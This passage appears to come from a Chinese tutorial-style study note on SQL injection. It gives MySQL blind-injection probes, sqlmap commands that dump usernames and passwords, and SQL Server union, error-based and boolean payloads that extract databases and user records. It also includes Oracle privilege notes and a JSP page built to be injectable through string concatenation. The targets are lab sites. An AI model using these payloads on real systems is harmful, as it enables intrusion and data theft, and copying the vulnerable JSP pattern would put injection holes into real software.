&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;猜解第n位是c&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;192.168.12.1/sqli-labs-master/Less-8/?id=1&apos;and database() regexp &apos;^.{n-1}c&apos;--+ # 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;猜长度为至少n个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;192.168.12.1/sqli-labs-master/Less-8/?id=1&apos;and database() regexp &apos;^.{n}&apos;--+ # 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;七、SQL注入工具的使用&lt;/h3&gt;
&lt;h4&gt;1、sqlmap&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;D:\1security\sqlmap\安装包\sqlmap\sqlmap&amp;gt;python sqlmap.py -u  &quot;http://127.0.0.1/sqli-labs/Less-2/?id=1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;1)查看是否存在注入漏洞。&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt; sqlmap使用的一些常用命令参数
 
 --current-db  查看当前数据库名称
 
 --dbs		   查看mysql里面的所有数据库。
 
 --batch	   遇到选项，默认选择yes
 
 --cookie	   带上网站cookie
 
 --purge	   清除sqlmap的缓存记录
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2)查询数据库名为security&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;D:\1security\sqlmap\安装包\sqlmap\sqlmap&amp;gt;python sqlmap.py -u  &quot;http://127.0.0.1/sqli-labs/Less-2/?id=1&quot; --current-db
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3)查询security数据库下面的表信息。&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt; D:\1security\sqlmap\安装包\sqlmap\sqlmap&amp;gt;python sqlmap.py -u  &quot;http://127.0.0.1/sqli-labs/Less-2/?id=1&quot;   -D security --tables
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;4)查看security数据库的users表下面的字段信息。&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;  D:\1security\sqlmap\安装包\sqlmap\sqlmap&amp;gt;python sqlmap.py -u  &quot;http://127.0.0.1/sqli-labs/Less-2/?id=1&quot;   -D security -T users --columns
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;5)查看字段下面的详细信息。&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;  D:\1security\sqlmap\安装包\sqlmap\sqlmap&amp;gt;python sqlmap.py -u  &quot;http://127.0.0.1/sqli-labs/Less-2/?id=1&quot;   -D security -T users -C username,password  --dump  
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;八、其他数据库注入&lt;/h3&gt;
&lt;h4&gt;1、SQL Server&lt;/h4&gt;
&lt;h5&gt;1)如何判断该网站使用的是sql server 数据库&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;1.根据后缀判断：如果后缀为aspx，数据库大概是sql server

2.根据报错信息判断，报错信息中有Microsoft 字样。

3.根据系统表判断，and (select count（*）from sysdatabases) &amp;gt;0 ,如果成立的话，则说明它里边含有这个系统表，可以判断为sql server 数据库 sql server 数据库包含三张主要系统表
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2)sql server 数据库包含三张主要系统表&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;1.sysdatabases :这张表保存在master数据库中，里边的name字段下存放的是所有数据库的库名。

2.sysobjects：这张表保存的是数据库的表的信息，里边的id字段存放的是表的id，name为表名，xtype 字段存放的是表的类型，u代表为用户创建的表，s表示该表是系统表。

3.syscolumns：这张表存放的是数据库中字段的信息，id 为表的id，该id可以通过sysobjects获得。name为字段名称。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3)sql server 主要函数&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;1.host_name() :返回服务器端主机名称。

2.current_user()：返回当前数据库用户。

3.db_name():返回当前数据库库名。

4.char():将ASCII码转化为对应的字符。

5.ASCII():将字符转化为对应的ASCII码。

6.substring():截取字符串。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;4)数据库的注入流程&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;1.获取数据库名称

2.获取数据库中表的名称

3.获取数据库中表的列名

4.获取对应的数据 
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;5)sql server的联合查询&lt;/h5&gt;
&lt;h6&gt;1.使用union关键字&lt;/h6&gt;
&lt;h6&gt;2.使用union联合查询注意事项&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;1.首先还是需要知道查询的列数，使用order by n 进行判断n表示具体列数。

2.sql server数据库与MySQL数据库不同的是，sql server数据库前后的数据类型必须一致。

3.判断出数据的显示位置。

4.使得先前的查询结果为空。
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3.sql server数据库使用联合查询的演示。&lt;/h6&gt;
&lt;p&gt;注：该网站为个人搭建的网站，不可利用真实网站进行攻击。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.1首先判断注入点，其次判断注入类型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;加入单引号，发现有报错信息&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/96be81717e-b1343aa58b5a4044af268c2e1abe1383.png&quot; alt=&quot;b1343aa58b5a4044af268c2e1abe1383&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.2 直接使用2-1判断其数据类型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;发现页面回显成功，所以可以确定为数字型，接下来使用union联合查询&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/dd979adf5e-de458ee6140749649a074055d222b7e8.png&quot; alt=&quot;de458ee6140749649a074055d222b7e8&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.3 使用order by 判断其列数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;可以发现列数为13列&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/a4b43d9ad9-d8b3c540d1994409b6207fa5937d4714.png&quot; alt=&quot;d8b3c540d1994409b6207fa5937d4714&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/43312b843b-2e98431ece894da5b2de9b263c00db45.png&quot; alt=&quot;2e98431ece894da5b2de9b263c00db45&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.4 确认每列的数据类型，所以发现数据类型不兼容，可以使用null做替换&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/4c4c0dac18-0418bfd0ef6446aba9bab81d8c4a310d.png&quot; alt=&quot;0418bfd0ef6446aba9bab81d8c4a310d&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;当我们全部使用null时，发现还是不对，产生这一错误的原因是union语句合并查询时是默认去除重复项的，也就是默认执行了distinct操作。&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/58ce2bc946-ff204c6c3d7645559c395694c8cf88e7.png&quot; alt=&quot;ff204c6c3d7645559c395694c8cf88e7&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;因此需要将union 改为 union all 不去除重复项，就能够解决这个报错。一般到这里之后就可以直接接着往下获取数据库了， 但是这里的环境有报错了，说明查询出来的时候，还存在数据类型不匹配，继续从头替换为null ，直到不报错为止。最终确定为3,4,6,7,10,11为字符 ， 1,2,5,8,9,12,13为数字型&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/837662f950-f1bce48572d6443294ad7555c64263e9.png&quot; alt=&quot;f1bce48572d6443294ad7555c64263e9&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.5 现在可以首页联合查询获取数据库的相关信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.5.1 获取数据库库名&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1  UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from master..sysdatabases
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/036d77b720-13cdc8faee6d46cea213eb2918d65449.png&quot; alt=&quot;13cdc8faee6d46cea213eb2918d65449&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.5.2 获取当前数据库的库名&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1  UNION all SELECT 1,2,db_name(),null,5,null,null,8,9,null,null,12,13 from master..sysdatabases
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/fde007127d-24feac57ddd84627bdc4d038186430ec.png&quot; alt=&quot;24feac57ddd84627bdc4d038186430ec&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.5.3 获取数据库中的表名&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1  UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..sysobjects where xtype = 0x75 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/6bbb83cbc6-967d893004a14ccfa79b4fe1aa8871d2.png&quot; alt=&quot;967d893004a14ccfa79b4fe1aa8871d2&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3.5.4 获取当前表名的字段&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1  UNION all SELECT 1,2,name,null,5,null,null,8,9,null,null,12,13 from jiaofan..syscolumns where id = (select id from jiaofan..sysobjects where name = 0x73006C005F007500730065007200)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/97c84bcf53-c3746c3f471b43dc8d93517a754be6ab.png&quot; alt=&quot;c3746c3f471b43dc8d93517a754be6ab&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5.3.5 获取字段下具体的值&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1  UNION all SELECT 1,2,shouji,null,5,youxiang,null,8,9,null,null,12,13 from  sl_user
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/67bd1a9dfc-d544cad18663483182e1fac5766e1151.png&quot; alt=&quot;d544cad18663483182e1fac5766e1151&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;6)sql server的报错注入&lt;/h5&gt;
&lt;p&gt;与其他数据库报错注入类似。&lt;/p&gt;
&lt;h6&gt;1.sql server 报错注入的演示&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;1.1获取当前数据库&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1  and 1=(select db_name())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/5aa9653b01-a419dfc522044faab79fdc7106909c1e.png&quot; alt=&quot;a419dfc522044faab79fdc7106909c1e&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.2获取所有数据库（由于我们使用的是and 1= ()进行的报错，所以一次只能获取一个值，这时可以使用top函数）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1  and 1= (select top 1 name from master..sysdatabases) 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果想获取第二行数据，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1  and 1= (select top 1 name from master..sysdatabases where name not in( select top 1 name from master..sysdatabases ))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/efbb81a3c9-68819e60666b45b5a0def4b6652e76ef.png&quot; alt=&quot;68819e60666b45b5a0def4b6652e76ef&quot; style=&quot;zoom: 50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.3获取当前数据库的表名&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload:id=1 and 1= (select top 1 name from jiaofan..sysobjects where xtype = 0x75) 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/c0afcd83bc-88ca21ab9c724913af12ba54c1846ecd.png&quot; alt=&quot;88ca21ab9c724913af12ba54c1846ecd&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.4获取表中的字段名&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于涉及到两张表，所以可以将两张表联合起来&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1 and 1= (select top 1 c.name from jiaofan..syscolumns c ,jiaofan..sysobjects o where c.id = o.id and o.name =0x73006C005F007500730065007200 ) 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/18e943b606-63ff49e031ec4807ad0c911c6d1f420a.png&quot; alt=&quot;63ff49e031ec4807ad0c911c6d1f420a&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h5&gt;7)sql server 的布尔型盲注&lt;/h5&gt;
&lt;h6&gt;1.sql server 布尔型盲注的演示&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;1.1获取数据库的数据库个数&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1 and (select count(*) from master..sysdatabases) &amp;gt;7
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/efbba86aeb-19f7ee16bf674c93924286a0fe37f4a2.png&quot; alt=&quot;19f7ee16bf674c93924286a0fe37f4a2&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id=1 and (select count(*) from master..sysdatabases) &amp;gt;8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/7164d579d7-0e5edc4b6e3f47579c4fd3598ca2ec73.png&quot; alt=&quot;0e5edc4b6e3f47579c4fd3598ca2ec73&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1.2获取当前数据库的信息&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;payload：id=1 and substring((select db_name()),1,1)=char(106)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-10-sql-injection/9f4abae008-09f7b408aa6842e99cf048a76a2e67ec.png&quot; alt=&quot;09f7b408aa6842e99cf048a76a2e67ec&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h4&gt;2、Oracle&lt;/h4&gt;
&lt;h5&gt;1)Oracle数据库介绍&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;	Oracle Database，又名Oracle RDBMS，或简称Oracle。是甲骨文公司的一款关系数据库管理系统。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是世界上流行的关系数据库管理系统，系统可移植性好、使用方便、功能强，适用于各类大、中、小微机环境。它是一种高效率的、可靠性好的、适应高吞吐量的数据库方案。

Oracle对于MYSQL、MSSQL来说意味着更大的数据量，更大的权限。

Oracle服务默认端口：1521
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;2)Oracle权限分类&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;权限是用户对一项功能的执行权力。在Oracle中，根据系统管理方式不同，将Oracle权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上，在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体(schema)所拥有的权限。

系统权限：系统规定用户使用数据库的权限。（系统权限是对用户而言)。

实体权限：某种权限用户对其它用户的表或视图的存取权限。（是针对表或视图而言的）。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;3)系统权限管理&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;—— 系统权限分类 ——

•DBA: 拥有全部特权，是系统最高权限，只有DBA才可以创建数据库结构。•RESOURCE:拥有Resource权限的用户只可以创建实体，不可以创建数据库结构。•CONNECT:拥有Connect权限的用户只可以登录Oracle，不可以创建实体，不可以创建数据库结构。

对于普通用户：授予connect, resource权限。

对于DBA管理用户：授予connect，resource, dba权限。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;系统权限授权命令： 系统权限只能由DBA用户授出：sys, system(最开始只能是这两个用户) 授权命令：SQL&amp;gt; grant connect, resource, dba to 用户名1 [,用户名2]…; 注:普通用户通过授权可以具有与system相同的用户权限，但永远不能达到与sys用户相同的权限，system用户的权限也可以被回收。 例： SQL&amp;gt; connect system/manager SQL&amp;gt; Create user user50 identified by user50; SQL&amp;gt; grant connect, resource to user50;

查询用户拥有哪里权限： SQL&amp;gt; select from dba_role_privs; SQL&amp;gt; select from dba_sys_privs; SQL&amp;gt; select * from role_sys_privs;

查自己拥有哪些系统权限 SQL&amp;gt; select * from session_privs;

删除用户 SQL&amp;gt; drop user 用户名 cascade; //加上cascade则将用户连同其创建的东西全部删除

系统权限传递：增加WITH ADMIN OPTION选项，则得到的权限可以传递。 SQL&amp;gt; grant connect, resorce to user50 with admin option; //可以传递所获权限。

系统权限回收：系统权限只能由DBA用户回收 SQL&amp;gt; Revoke connect, resource from user50;

说明： 1）如果使用WITH ADMIN OPTION为某个用户授予系统权限，那么对于被这个用户授予相同权限的所有用户来说，取消该用户的系统权限并不会级联取消这些用户的相同权限。 2）系统权限无级联，即A授予B权限，B授予C权限，如果A收回B的权限，C的权限不受影响；系统权限可以跨用户回收，即A可以直接收回C用户的权限。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;4)实体权限管理&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;—— 实体权限分类 ——

•select, update, insert, alter, index, delete, all //all包括所有权限•execute //执行存储过程权限
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;user01: SQL&amp;gt; grant select, update, insert on product to user02; SQL&amp;gt; grant all on product to user02;

user02: SQL&amp;gt; select * from user01.product; // 此时user02查user_tables，不包括user01.product这个表，但如果查all_tables则可以查到，因为他可以访问。

将表的操作权限授予全体用户： SQL&amp;gt; grant all on product to public; // public表示是所有的用户，这里的all权限不包括drop。

实体权限数据字典 SQL&amp;gt; select owner, table_name from all_tables; // 用户可以查询的表 SQL&amp;gt; select table_name from user_tables; // 用户创建的表 SQL&amp;gt; select grantor, table_schema, table_name, privilege from all_tab_privs; // 获权可以存取的表（被授权的） SQL&amp;gt; select grantee, owner, table_name, privilege from user_tab_privs; // 授出权限的表(授出的权限)

DBA用户可以操作全体用户的任意基表(无需授权，包括删除)：

DBA用户： SQL&amp;gt; Create table stud02.product( id number(10), name varchar2(20)); SQL&amp;gt; drop table stud02.emp;

SQL&amp;gt; create table stud02.employee as select * from scott.emp;

实体权限传递(with grant option)：

user01: SQL&amp;gt; grant select, update on product to user02 with grant option; // user02得到权限，并可以传递。

实体权限回收：

user01: SQL&amp;gt;Revoke select, update on product from user02; //传递的权限将全部丢失。

说明 1）如果取消某个用户的对象权限，那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说，同样还会取消这些用户的相同权限，也就是说取消授权时级联的。
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;5)管理角色&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;建一个角色 sql&amp;gt;create role role1;

授权给角色 sql&amp;gt;grant create any table,create procedure to role1;

授予角色给用户 sql&amp;gt;grant role1 to user1;

查看角色所包含的权限 sql&amp;gt;select * from role_sys_privs;

创建带有口令以角色(在生效带有口令的角色时必须提供口令) sql&amp;gt;create role role1 identified by password1;

修改角色：是否需要口令 sql&amp;gt;alter role role1 not identified; sql&amp;gt;alter role role1 identified by password1;

设置当前用户要生效的角色 (注：角色的生效是一个什么概念呢？假设用户a有b1,b2,b3三个角色，那么如果b1未生效，则b1所包含的权限对于a来讲是不拥有的，只有角色生效了，角色内的权限才作用于用户，最大可生效角色数由参数MAX_ENABLED_ROLES设定；在用户登录后，oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。） sql&amp;gt;set role role1; //使role1生效 sql&amp;gt;set role role,role2; //使role1,role2生效 sql&amp;gt;set role role1 identified by password1; //使用带有口令的role1生效 sql&amp;gt;set role all; //使用该用户的所有角色生效 sql&amp;gt;set role none; //设置所有角色失效 sql&amp;gt;set role all except role1; //除role1外的该用户的所有其它角色生效。 sql&amp;gt;select * from SESSION_ROLES; //查看当前用户的生效的角色。

修改指定用户，设置其默认角色 sql&amp;gt;alter user user1 default role role1; sql&amp;gt;alter user user1 default role all except role1;

删除角色 sql&amp;gt;drop role role1;

角色删除后，原来拥用该角色的用户就不再拥有该角色了，相应的权限也就没有了。

说明: 1)无法使用WITH GRANT OPTION为角色授予对象权限 2)可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;6)PL/SQL语言&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;PL/SQL也是一种程序语言，叫做过程化SQL语言（Procedual Language/SQL）。

PL/SQL是Oracle数据库对SQL语句的扩展。在普通SQL语句的使用上增加了编程语言的特点，所以PL/SQL就是把数据操作和查询语句组织在PL/SQL代码的过程性单元中，通过逻辑判断、循环等操作实现复杂的功能或者计算的程序语言。在PL/SQL编程语言是由甲骨文公司在20世纪80年代，作为SQL程序扩展语言和Oracle关系数据库开发。

基本存储过程结构：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;DECLARE
    &amp;lt;declarations section&amp;gt;
BEGIN
    &amp;lt;executable command(s)&amp;gt;
EXCEPTION
    &amp;lt;exception handing&amp;gt;
END;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;7)Oracle注入需注意的规则&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;1.Oracle使用查询语言获取需要跟上表名，这一点和Access类似，没有表的情况下可以使用dual表，dual是Oracle的虚拟表，用来构成select的语法规则，Oracle保证dual里面永远只有一条记录。

2.Oracle的数据库类型是强匹配，所以在Oracle进行类似Union查询数据时必须让对应位置上的数据类型和表中的列的数据类型是一致的，也可以使用NULL代替某些无法快速猜测出的数据类型位置，这一点和SQLServer类似。

3.Oracle和mysql不一样，分页中没有limit，而是使用三层查询嵌套的方式实现分页 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM &amp;lt;= 1 ) WHERE RN &amp;gt;=0

4.Oracle的单行注释符号是--，多行注释符号/**/。

5.Oracle 数据库包含了几个系统表，这几个系统表里存储了系统数据库的表名和列名，如user_tab_columns，all_tab_columns，all_tables，user_tables 系统表就存储了用户的所有的表、列名，其中table_name 表示的是系统里的表名，column_name 里的是系统里存在的列名。

6.Oracle使用||拼接字符串（在URL中使用编码%7c表示），concat()函数也可以实现两个字符串的拼接
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;8)实验环境&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;•操作系统：Windows Server 2008R2•数据库：Microsoft SQL Server 2008R2•Web服务器：Tomcat 7.0•脚本语言：jsp•源代码：index.jsp•  本地域名配置：hackrock.com:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;%@ page language=&quot;java&quot; import=&quot;java.util.*&quot;  pageEncoding=&quot;utf-8&quot;%&amp;gt;
&amp;lt;%@ page import=&quot;oracle.jdbc.*&quot;%&amp;gt;
&amp;lt;%@ page import=&quot;java.sql.*&quot; %&amp;gt;
&amp;lt;%@ page import=&quot;oracle.sql.*&quot; %&amp;gt;

&amp;lt;%
String path = request.getContextPath();
String basePath = request.getScheme()+&quot;://&quot;+request.getServerName()+&quot;:&quot;+request.getServerPort()+path+&quot;/&quot;;
%&amp;gt;
&amp;lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&amp;gt;
&amp;lt;html&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;base href=&quot;&amp;lt;%=basePath%&amp;gt;&quot;&amp;gt;
    
    &amp;lt;title&amp;gt;Oracle注入测试&amp;lt;/title&amp;gt;
        &amp;lt;meta http-equiv=&quot;pragma&quot; content=&quot;no-cache&quot;&amp;gt;
        &amp;lt;meta http-equiv=&quot;cache-control&quot; content=&quot;no-cache&quot;&amp;gt;
        &amp;lt;meta http-equiv=&quot;expires&quot; content=&quot;0&quot;&amp;gt;    
        &amp;lt;meta http-equiv=&quot;keywords&quot; content=&quot;keyword1,keyword2,keyword3&quot;&amp;gt;
        &amp;lt;meta http-equiv=&quot;description&quot; content=&quot;This is my page&quot;&amp;gt;
        &amp;lt;!--
        &amp;lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;styles.css&quot; mce_href=&quot;styles.css&quot;&amp;gt;
        --&amp;gt;
  &amp;lt;/head&amp;gt;
  
  &amp;lt;body&amp;gt; 
    &amp;lt;%
        String  url  =  &quot;http://&quot;  +  request.getServerName()  +  &quot;:&quot;  +  request.getServerPort()  +  request.getContextPath()+request.getServletPath();
            Class.forName(&quot;oracle.jdbc.driver.OracleDriver&quot;).newInstance();
            Statement stmt = null;
            ResultSet rs=null;
            String oraUrl=&quot;jdbc:oracle:thin:@127.0.0.1:1521:orcl&quot;;
            String oraUser=&quot;TEST&quot;;
            String oraPWD=&quot;123456&quot;;
            try
            {
                    DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());
            }catch (SQLException e)
            {
                out.print(&quot;filed!!&quot;);
            }
            try
            {
                Connection conn=DriverManager.getConnection(oraUrl,oraUser,oraPWD);
                String sql=&quot;select * from news where id=&quot;+request.getParameter(&quot;id&quot;);
                out.print(&quot;执行语句:&amp;lt;br&amp;gt;&quot;+sql+&quot;&amp;lt;br&amp;gt;&quot;);
                stmt = conn.createStatement();
                rs = stmt.executeQuery(sql);
                out.print(&quot;结果为:&quot;);
                out.print(&quot;&amp;lt;table border=&apos;1&apos; cellpadding=&apos;4&apos; cellspacing=&apos;0&apos; style=&apos;background-color:White;border-color:#3366CC;border-width:1px;border-style:None;width:203px;border-collapse:collapse;&apos;&amp;gt;&quot;);
                out.print(&quot;&amp;lt;tr style=&apos;color:#CCCCFF;background-color:#003399;font-weight:bold;&apos;&amp;gt;&quot;);
                out.print(&quot;&amp;lt;td&amp;gt;id&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;title&amp;lt;/td&amp;gt;&amp;lt;td&amp;gt;content&amp;lt;/td&amp;gt;&quot;);
                out.print(&quot;&amp;lt;/tr&amp;gt;&quot;);
                out.print(&quot;&amp;lt;tr style=&apos;color:#003399;background-color:White;&apos;&amp;gt;&quot;);
                while(rs.next())
                {
                        out.print(&quot;&amp;lt;td&amp;gt;&quot;);out.print(rs.getString(1));out.print(&quot;&amp;lt;/td&amp;gt;&quot;);
                        out.print(&quot;&amp;lt;td&amp;gt;&quot;);out.print(rs.getString(2));out.print(&quot;&amp;lt;/td&amp;gt;&quot;);
                        out.print(&quot;&amp;lt;td&amp;gt;&quot;);out.print(rs.getString(3));out.print(&quot;&amp;lt;/td&amp;gt;&quot;);
                }
                out.print(&quot;&amp;lt;tr&amp;gt;&quot;);
                rs.close();
                stmt.close();
                conn.close();
            } catch (SQLException e)
            {
                    System.out.println(e.toString());
                    out.print(e.toString());
            }
     %&amp;gt;
  &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;9)联合查询注入&lt;/h5&gt;
&lt;p&gt;判断注入点的方式与之前的数据库注入一样，就不详细讲了。&lt;/p&gt;
&lt;h6&gt;1.判断查询列数&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;依旧提交order by 去猜测显示当前页面所用的SQL查询了多少个字段，也就是确认查询字段数。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=1 order by 3 --+

http://hackrock.com:8080/oracle/?id=1 order by 4 --+
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2.判断回显位&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;http://hackrock.com:8080/oracle/?id=-1 union select null,null,null from dual --+

